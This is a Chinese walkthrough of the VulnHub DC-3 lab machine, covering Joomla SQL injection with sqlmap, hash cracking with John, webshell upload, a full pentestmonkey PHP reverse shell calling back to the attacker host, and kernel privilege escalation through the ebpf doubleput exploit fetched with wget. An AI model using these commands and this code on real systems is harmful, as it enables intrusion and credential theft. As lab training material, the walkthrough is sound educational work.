DC-3靶机刷题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c 
提取码:rt2c 

参考:

  • http://t.csdnimg.cn/hhPi8
  • https://www.vulnhub.com/entry/dc-32,312/ 官网
  • http://t.csdnimg.cn/5mVZ7
  • DC-3 (1).pdf
  • https://c3ting.com/archives/vulnhnbshua-ti—dc-3
  • 【【基础向】超详解vulnhub靶场DC-3-一靶多打】 https://www.bilibili.com/video/BV11a411d78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • ChatGPT

image.png

环境搭建

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
image.png
image.png
描述

DC-3是另一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。
与以前的DC版本一样,这个版本在设计时考虑到了初学者,尽管这一次只有一个flag,一个入口点,根本没有线索。
Linux技能和对Linux命令行的熟悉程度是必须的,基本的渗透测试工具的一些经验也是必须的。
对于初学者来说,Google可以提供很大的帮助,但你可以随时在@DCAU7上发推文给我,寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能根本不会花费你很长时间(事实上,它可能需要不到20分钟的时间)。
如果是这样的话,如果你希望它成为一个更大的挑战,你可以随时重做挑战,并探索其他获得root和获得flag的方法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.131

1、导入VMware虚拟机

下载完成后,得到DC-3.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机
arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

0x04 下载joomscan

image.png


JoomScan是一款用于扫描和评估Joomla内容管理系统(CMS)的安全性的工具。它可以帮助发现潜在的漏洞、配置错误和安全弱点。
JoomScan通过对目标Joomla网站进行自动化扫描,并使用预定义的技术和漏洞检测方法来识别可能存在的问题。它可以检查版本信息、敏感文件泄露、常见漏洞、不安全的配置设置等。
以下是使用JoomScan的基本语法:

joomscan -u <target>

其中:

  • -u选项用于指定要扫描的目标Joomla网站URL。

例如,要使用JoomScan对网站http://example.com进行扫描,可以执行以下命令:

joomscan -u http://example.com

JoomScan将开始扫描目标网站,并报告任何发现的潜在漏洞和安全问题。


0x05查看joomscan版本信息

joomscan -u http://192.168.1.131

image.png
扫描出了cms的版本,还有一些目录和后台登入界面192.168.1.131/administrator/

二:漏洞发现

查看版本漏洞

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南


“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit-DB二进制文件中找到。
如果您预计您将在一个没有Internet的网络环境进行渗透测试,请确保您检查了两个存储库,以获得最完整的数据集。注意,这个工具的名称是“SearchSploit“,顾名思义,它将搜索所有的漏洞和shellcode。它不会包含任何文件和谷歌黑客数据库的结果
安装运行:kali自带searchsploit,其他linux,在github下载tar.gz压缩包,直接运行里边的 searchsploit 执行文件即可
github地址:https://github.com/offensive-security/exploitdb
终端输入searchsploit启动(已经默认在Kali/Parrot中安装)


searchsploit joomla 3.7.0

image.png
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/**php/webapps/42033.txt**
直接查看一下
cat /usr/share/exploitdb/exploits/**php/webapps/42033.txt**
image.png
给出了注入点和Sqlmap的使用方法

三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

--dbs列出所有数据库
image.png
image.png

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表

image.png
image.png
发现敏感users用户表

  • 查看所有列名
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  -D joomladb -T "#__users" --columns
表名含有特殊符号,需要用引号包括这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

image.png
image.png

  • 查看用户名与密码字段
sqlmap -u "http://192.168.1.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch -D joomladb -T "#__users" -C username,password --dump

image.png
image.png

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明


John介绍及常用命令使用说明_john使用-CSDN博客
John the Ripper(通常简称为John)是一款流行的密码破解工具,专门用于破解密码哈希值。它支持多种密码哈希算法,并使用暴力破解、字典攻击、混合攻击等多种方法来尝试破解密码。
John是一个命令行工具,可以在各种操作系统上运行。它基于已有的密码哈希值(例如Linux系统中的/etc/shadow文件)来进行破解。您需要提供一个包含可能的密码列表(称为字典文件)作为输入,或者使用内置的密码规则和策略来生成密码组合。
以下是使用John的基本语法:

john <hashed_file>

其中:

  • <hashed_file> 是包含密码哈希值的文件路径。

例如,要使用John对密码哈希值文件/etc/shadow进行破解,可以执行以下命令:

john /etc/shadow

John将根据配置的攻击模式和密码破解选项,尝试破解给定的密码哈希值。如果成功找到密码,则会显示在屏幕上。


先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
image.png

识别hash类型并破解
john 1.txt
john --show 1.txt

image.png
所以密码为:snoopy
报错处理:

如何处理哈希密码文件在john时候无法解密的方法sudo John 文件 —format=crypt然后再输入sudo John —show 文件
密码是snoopy,接下来登入后台 192.168.1.131/administrator/

image.png
image.png
image.png
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
image.png
我们可以自己创建一个文件,写入木马 也可以直接反弹shell
image.png
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.1.131/templates/beez3/1.php

访问1.php让其解析,可以执行命令
image.png

接下来试试反弹shell

修改1.php的内容
image.png
将PHP反弹shell代码复制进去

  <?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);$VERSION = "1.0";$ip = '192.168.1.128';  // You have changed this$port = 8888;  // And this$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies.  Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string
";}}?> 

首先kali监听8888端口

nc -lvvnp 8888

然后再访问一下1.php让其解析,便可以反弹成功
image.png
但是现在还不是root权限
image.png


可以修改交互

Get交互shell

跟DC-1一样,利用python获取交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口

0x01 查看版本信息

uname -a

image.png

cat /proc/version

image.png


cat /proc/version命令用于查看当前正在运行的Linux操作系统内核的版本信息。
执行该命令时,系统将打开/proc/version文件并将其内容显示在终端上。该文件包含了有关内核版本、编译日期和其他相关信息。


cat /etc/issue

image.png


cat /etc/issue命令用于显示当前操作系统发行版的信息。
执行该命令时,系统将打开/etc/issue文件并将其内容显示在终端上。该文件通常包含了操作系统发行版的名称和版本号等信息。
示例输出可能如下所示:

Ubuntu 16.04 LTS \n \l

输出中包含了操作系统的名称(例如Ubuntu)以及版本号(例如20.04.3 LTS)。\n表示换行,\l表示登录提示符后的字符串。
通过查看/etc/issue文件,您可以快速获取当前操作系统发行版的信息,这对于确认正在使用的操作系统和版本非常有用。


得到操作系统与其版本

搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另外一个终端

searchsploit Ubuntu 16.04

image.png
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
查看一下

cat /usr/share/exploitdb/exploits/linux/local/39772.txt 

image.png
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
上面的无法下载就换下面这个
exp下载 https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载该压缩包并放到kali里,解压该文件,并在改目录下开启HTTP服务,就可以将下载好的文件导入到DC-3靶机里了
image.png
image.png
出现这个说明服务开启成功,exp地址是

http://192.168.1.128:8888/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具
而且要在/var/www/html目录下才有权限下载

www-data@DC-3:/var/www/html$ wget http://192.168.1.128:8888/exploit.tar

image.png
下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

tar -xvf exploit.tar命令用于解压缩(解包).tar格式的文件。在执行该命令时,您需要提供要解压缩的目标文件名。
请注意,在终端中执行该命令之前,请确保您已经位于包含 exploit.tar 文件的目录下。如果不在同一目录下,您需要提供完整的文件路径。
以下是执行 tar -xvf exploit.tar 的示例命令:

tar -xvf exploit.tar

命令中的选项说明:

  • -x 用于解压缩 (extract) 文件。
  • -v 用于显示详细的操作信息 (verbose),让您看到解压的过程。
  • -f 后跟要解压的文件名。

执行该命令后,exploit.tar 将会被解压缩,并且文件中的内容将被提取到当前目录中。
请注意,如果 exploit.tar 是一个压缩文件(如 .tar.gz 或 .tar.bz2),您可能需要使用不同的命令来进行解压缩。具体的命令将根据文件的扩展名而有所不同


接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

image.png
根据原来的39772.txt的提示
执行compile.shdoubleput这两个文件
image.png
执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image.png

./doubleput

image.png
提权成功!!!
获得root权限
image.png
image.png

也可以用find命令来找flag文件
find / -name *flag*

image.png

总结

这个靶机考察了使用者对于cms的利用手段,hash密文爆破方式,sqlmap的使用方式,对于漏洞的利用能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/634999.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模具制造企业ERP系统有哪些?企业怎么选型适配的软件

模具的生产管理过程比较繁琐&#xff0c;涵盖接单报价、车间排期、班组负荷评估、库存盘点、材料采购、供应商选择、工艺流转、品质检验等诸多环节。 有些采用传统管理手段的模具制造企业存在各业务数据传递不畅、信息滞后、不能及时掌握订单和车间生产情况&#xff0c;难以对…

【CF比赛记录】 —— Codeforces Round 920 (Div. 3)(A、B、C、D)

&#x1f30f;博客主页&#xff1a;PH_modest的博客主页 &#x1f6a9;当前专栏&#xff1a;CF比赛记录 &#x1f48c;其他专栏&#xff1a; &#x1f534;每日一题 &#x1f7e1; cf闯关练习 &#x1f7e2; C语言跬步积累 &#x1f308;座右铭&#xff1a;广积粮&#xff0c;缓…

【ARMv8M Cortex-M33 系列 7.1 -- xPSR | CFSR | HFSR | BFAR | MMFAR 寄存器】

文章目录 问题背景Cortex-M33 Fault 寄存器介绍xPSR (程序状态寄存器)CFSR (可配置故障状态寄存器)HFSR (硬件故障状态寄存器)BFAR (总线故障地址寄存器)MMFAR (内存管理故障地址寄存器) 问题背景 由于在RA4M2&#xff08;Cortex-M33&#xff09;移植RT-Thread OS的时候遇到了…

第十五届蓝桥杯单片机组——串口通信UART

文章目录 一、什么是串口通信二、UART重要参数三、利用STC-ISP生成初始化代码四、使用UART发送和接收数据 一、什么是串口通信 微控制器与外部设备的数据通信&#xff0c;根据连线结构和传送方式的不同&#xff0c;可以分为两种:并行通信和串行通信。   并行通信:指数据的各位…

亚马逊云科技 WAF 部署小指南(六)追踪 Amazon WAF Request ID,排查误杀原因

众所周知&#xff0c;中国是全球制造业的巨大力量&#xff0c;许多中国企业通过 2B 电商平台网站进行商品销售和采购。在这些电商平台上&#xff0c;Web 应用防火墙&#xff08;WAF&#xff09;成为不可或缺的安全工具。然而&#xff0c;WAF 也可能导致误杀问题。一旦误杀发生&…

计算机毕设thinkphp+mysql+_vue房屋租赁系统h3sem

运行环境:phpstudy/wamp/xammp等 开发语言&#xff1a;php 后端框架&#xff1a;Thinkphp5 前端框架&#xff1a;vue.js 服务器&#xff1a;apache 数据库&#xff1a;mysql 数据库工具&#xff1a;Navicat/phpmyadmin 房屋租赁管理系统有不同的用户角色。不同的用户权限对应不…

【办公类-21-03】20240119 提取不连续的男女学号 set()和list法

背景需求&#xff1a;了解班级幼儿性别比例 查看点名册&#xff0c;发现中4班最初的学号是按照先男后女的方式排列&#xff0c;但是随着幼儿转出&#xff0c;空出一些学号&#xff0c;于是新插班的孩子就插入空的学号&#xff0c;空格插完了&#xff0c;就排在学号尾部。 我想…

Docker Consul详解与部署示例

目录 Consul构成 Docker Consul 概述 Raft算法 服务注册与发现 健康检查 Key/Value存储 多数据中心 部署模式 consul-template守护进程 registrator容器 consul服务部署&#xff08;192.168.41.31&#xff09; 环境准备 搭建Consul服务 查看集群信息 registrato…

YOLOv5改进 | 主干篇 | 华为GhostnetV1一种移动端的专用特征提取网络

一、本文介绍 本文给大家带来的改进机制是华为移动端模型Ghostnetv1,华为GhostnetV1一种移动端的专用特征提取网络,旨在在计算资源有限的嵌入式设备上实现高性能的图像分类。GhostNet的关键思想在于通过引入Ghost模块,以较低的计算成本增加了特征图的数量,从而提高了模型的…

深度剖析Spring循环依赖(实战Bug)

目录 前言1. 问题所示2. 原理分析3. 基本知识4. Lazy注解 前言 通过实战更好的回馈问题&#xff0c;意识更加深刻 起因是我出现如下问题之后&#xff0c;才意识到中了Spring的循环依赖了&#xff01; 1. 问题所示 在执行项目的时候&#xff0c;出现如下问题&#xff0c;问题…

面试之Glide如何绑定Activity的生命周期

Glide绑定Activity生命周期 Glide.with() 下面都是它的重载方法&#xff0c;Context&#xff0c;Activity&#xff0c;FragmentActivity, Fragment, android.app.Fragment fragment,View都可以作为他的参数&#xff0c;内容大同小异&#xff0c;都是先getRetriever&#xff0…

016-Vue-黑马2023:前后端分离开发(在线接口文档),前端工程化、Element、vue编写一个完成页面、Vue路由、vue打包部署到nginx

第三节 前后端分离开发 1、介绍 开发模式 前后端混合开发&#xff1a;传统开发模式 前后端分离开发&#xff1a;当前最为主流的开发模式 页面原型需求案例&#xff1a;分析出接口文档 离线开发文档示例&#xff1a; 2、YAPI&#xff08;官网已停用&#xff09; 202…

汽车微电机行业研究:预计2029年将达到188亿美元

微电机行业是技术密集型行业&#xff0c;其起源于欧洲的德国、瑞士等国家&#xff0c;发展于日本。随着改革开放&#xff0c;中国作为发展中国家&#xff0c;承接了德国、日本等发达国家的汽车微电机产业转移&#xff0c;技术扩散逐步向我国转移。 微特电机广泛应用于信息处理设…

优化微信小程序更新体验:异步更新与强制更新方案解析

在微信小程序的开发和迭代过程中&#xff0c;新版本覆盖率的问题一直备受关注。由于小程序采用异步更新机制&#xff0c;在用户首次打开或冷启动时才会检查并下载新版本&#xff0c;导致部分用户无法及时应用上最新版本。为了解决这一问题&#xff0c;微信团队经过深入研究和讨…

设计社交网络的数据结构

1: 确定 Use Case 和 约束 Use Cases User 搜索某人然后看到被搜索人的最短路径Service 有高可用 约束和假设 状态假设 Traffic 不是平均分布的 一些被搜索者是更加受欢迎的&#xff0c;某些被搜索者只会被搜索一次图数据不适用与单个机器图的分布是轻量级的一亿个 User每…

canvas绘制N角形,锯齿状

查看专栏目录 canvas实例应用100专栏&#xff0c;提供canvas的基础知识&#xff0c;高级动画&#xff0c;相关应用扩展等信息。canvas作为html的一部分&#xff0c;是图像图标地图可视化的一个重要的基础&#xff0c;学好了canvas&#xff0c;在其他的一些应用上将会起到非常重…

在线扒站网PHP源码-在线扒站工具网站源码

源码介绍 这是一款在线的网站模板下载程序&#xff0c;也就是我们常说的扒站工具&#xff0c;利用它我们可以很轻松的将别人的网站模板样式下载下来&#xff0c;这样就可以大大提高我们编写前端的速度了&#xff01;注&#xff1a;扒取的任何站点不得用于商业、违法用途&#…

kafka参数配置参考和优化建议 —— 筑梦之路

对于Kafka的优化&#xff0c;可以从以下几个方面进行思考和优化&#xff1a; 硬件优化&#xff1a;使用高性能的硬件设备&#xff0c;包括高速磁盘、大内存和高性能网络设备&#xff0c;以提高Kafka集群的整体性能。 配置优化&#xff1a;调整Kafka的配置参数&#xff0c;包括…

免费的爬虫软件【2024最新】

在国际市场竞争日益激烈的背景下&#xff0c;国外网站的SEO排名直接关系到网站在搜索引擎中的曝光度和用户点击量。良好的SEO排名能够带来更多的有针对性的流量&#xff0c;提升网站的知名度和竞争力。 二、国外网站SEO排名的三种方法 关键词优化&#xff1a; 关键词优化是SEO…

Red Hat Enterprise Linux 9.3 安装图解

引导和开始安装 选择倒计时结束前&#xff0c;通过键盘上下键选择下图框选项&#xff0c;启动图形化安装过程。需要注意的不同主板默认或者自行配置的固件类型不一致&#xff0c;引导界面有所不同。也就是说使用UEFI和BIOS的安装引导界面是不同的&#xff0c;如图所示。若手动调…